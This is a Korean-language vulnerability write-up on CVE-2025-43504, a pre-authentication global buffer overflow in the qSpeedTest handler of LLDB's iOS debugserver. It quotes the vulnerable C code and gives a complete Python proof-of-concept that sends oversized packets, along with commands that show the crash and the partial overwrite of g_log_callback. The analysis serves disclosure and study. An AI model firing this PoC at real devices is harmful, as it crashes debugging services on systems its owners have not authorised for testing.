
CVE-2025-43504에 대한 기술 심층 분석: iOS용 LLDB의 debugserver에서 발생하는 원격 사전 인증 전역 버퍼 오버플로우로, PoC 코드와 익스플로잇 분석을 포함합니다.
어릴 적, 저는 동네 월마트의 DVD 할인 통을 뒤지는 것을 늘 즐겼습니다. 위에는 똑같은 영화들이 많이 놓여 있었지만, 실제로 깊이 뒤적이다 보면 더 흥미롭고 마니아적인 타이틀을 발견할 수 있었죠.
프로그램이 버퍼를 오버플로우할 때, 여러분은 본질적으로 그 프로그램의 할인 통에 손을 집어넣는 셈입니다. 손을 얼마나 깊이 넣느냐에 따라 DVD——즉, 이 경우에는 메모리에서 덮어쓰이는 구조체들——이 달라질 수 있습니다.
오늘의 할인 /bin은 CVE-2025-43504입니다: 제가 LLDB의 debugserver에서 발견한 원격 사전 인증 전역 버퍼 오버플로우입니다.
애플리케이션 개발 과정에서 개발자들은 실제 iOS 기기에서 앱을 디버깅해야 할 필요성을 자주 느낍니다. 이를 위해 Xcode는 대상 iPhone에 Developer Disk Image를 마운트한 다음 해당 기기와 페어링합니다.
페어링이 완료되면 macOS 호스트는 클라이언트에 설치된 debugserver를 사용해 iOS 클라이언트와 통신할 수 있습니다. 따라서 기기의 debugserver에 GDB-remote 세션을 수립할 수 있는 모든 클라이언트는 qSpeedTest 핸들러에 도달해 취약한 버퍼를 오버플로우시킬 수 있습니다.
Apple이 CVE-2025-43504를 어떻게 분류했는지 더 잘 이해하기 위해 Xcode 26.1 보안 릴리스 페이지를 살펴보겠습니다:

현대적인 소프트웨어 완화 기술 덕분에 Apple은 버퍼 오버플로우를 메모리 손상 프리미티브라기보다 주로 서비스 거부(denial-of-service) 문제로 간주합니다. 오늘 살펴보겠지만, 공격자가 임의 코드 실행을 달성하려면 여러 장애물을 극복해야 하고 이 문제를 다른 버그와 짝지어야 할 가능성이 높다는 점에서 이는 대체로 사실입니다.
패치 이전 버전의 debugserver로 직접 실험해 보고 싶다면 다음 커밋 또는 ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de 이전의 아무 커밋이나 사용하세요:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
RNBRemote.cpp의 패치 이전에는 iOS 기기의 debugserver에 연결할 수 있는 모든 원격 사용자가 사전 인증(pre-authentication) 상태의 qSpeedTest 패킷을 RNBRemote::HandlePacket_qSpeedTest로 보내 debugserver의 전역 데이터 세그먼트에 있는 인접 구조체들을 손상시킬 수 있었습니다.
하지만 중요한 조건이 하나 있습니다: 우리는 손상의 길이만 제어할 수 있다는 점입니다. 페이로드의 내용은 'a' 문자 연속으로 고정되어 있습니다. 학생들이 꾸준히 높은 점수를 받으면 좋아하겠지만, 실제로 쓰이는 바이트를 제어할 수 없고 오직 'a'의 홍수가 얼마나 멀리까지 가는지만 제어할 수 있다는 사실 때문에 이 오버플로우의 실질적인 유용성은 크게 제한됩니다.
이제 RNBRemote::HandlePacket_qSpeedTest의 내부를 들여다보며 정확히 무슨 일이 벌어지는지 확인해 보겠습니다:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
RNBRemote::HandlePacket_qSpeedTest()의 역할은 iOS 기기의 debugserver 바이너리와 통신할 수 있는 원격 사용자에게 인증을 요구하지 않고 수신되는 qSpeedTest:response_size:<hex>; 패킷을 처리하는 것입니다.
그러나 원격 사용자가 debugserver에 qSpeedTest:response_size:<hex>; 패킷을 보낼 수 있게 되면, debugserver는 사용자가 제공한 response_size를 처리하기 전에 어떤 인증 검사도 수행하지 않습니다. 따라서 Developer Disk Image가 마운트된 iOS 기기와 통신할 수 있는 모든 사용자는 qSpeedTest:response_size:<hex>; 패킷을 통해 debugserver를 오버플로우시킬 수 있습니다.
이제 취약한 함수 RNBRemote::HandlePacket_qSpeedTest()에 도달했으니 오버플로우가 정확히 어떻게 발생하는지 살펴보겠습니다. 먼저 qSpeedTest:response_size:<hex>; 패킷에 포함된 사용자 제공 크기 <hex>가 추출되어 response_size 변수에 저장됩니다:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
파싱이 성공하고 다음 문자가 세미콜론이면, 함수-로컬 정적 4 MiB + 16바이트 버퍼 g_data가 초기화되고 ASCII 헤더 "data:"로 시드됩니다:
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
이제 모든 것을 종합하면, memset은 사용자가 제어하는 response_size 값을 'a'의 개수로 사용하여 정적 4 MiB + 16바이트 버퍼 g_data를 'a'로 채웁니다.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
따라서 원격 LLDB 클라이언트가 4 MiB + 16바이트 버퍼보다 큰 response_size가 포함된 qSpeedTest:response_size:<hex>; 패킷을 보낼 때마다 버퍼 오버플로우가 발생하여 debugserver의 전역 데이터 세그먼트(.bss)에 저장된 인접 전역 변수들이 손상됩니다.
이제 오버플로우 뒤에 있는 구조를 이해했으니, 취약점의 실제 메커니즘을 자세히 살펴보겠습니다. 먼저 다음 Python 프로그램을 사용하여 g_data 오버플로우를 통해 얻을 수 있는 손상 프리미티브를 탐색해 보겠습니다:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
debugserver를 실행한 후 다음 python3 명령을 실행하여 response_size로 4004AB를 제공합니다:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
debugserver가 크래시하지 않고 정상적으로 응답하는 것을 확인할 수 있습니다:

기술적으로는 경계를 벗어났지만, g_data가 \0 바이트로 종료되므로 이웃한 로깅 함수 포인터 g_log_callback은 NULL 바이트로만 덮이게 되어 포인터 전체가 NULL로 유지됩니다.
debugserver를 실행한 후 다음 python3 명령을 실행하여 response_size로 0x4004AC를 제공합니다:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
맙소사!

추가 바이트 하나를 더 제공함으로써 NULL 꼬리를 지나쳐 이웃한 g_log_callback 포인터를 0x61 값으로 역참조하게 되어 크래시가 발생했습니다. 이제 --size 매개변수를 계속 1씩 증가시키면서 어떤 일이 일어나는지 확인해 보겠습니다:

보시다시피 이제 g_log_callback의 값을 제어할 수 있습니다. 음, 부분적으로는요. 실제로는 g_log_callback에서 0x61과 같아질 바이트 수만 제어할 수 있습니다.
이 현상은 _DNBLogVAPrintf에서 발생하는 것을 확인할 수 있습니다:
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}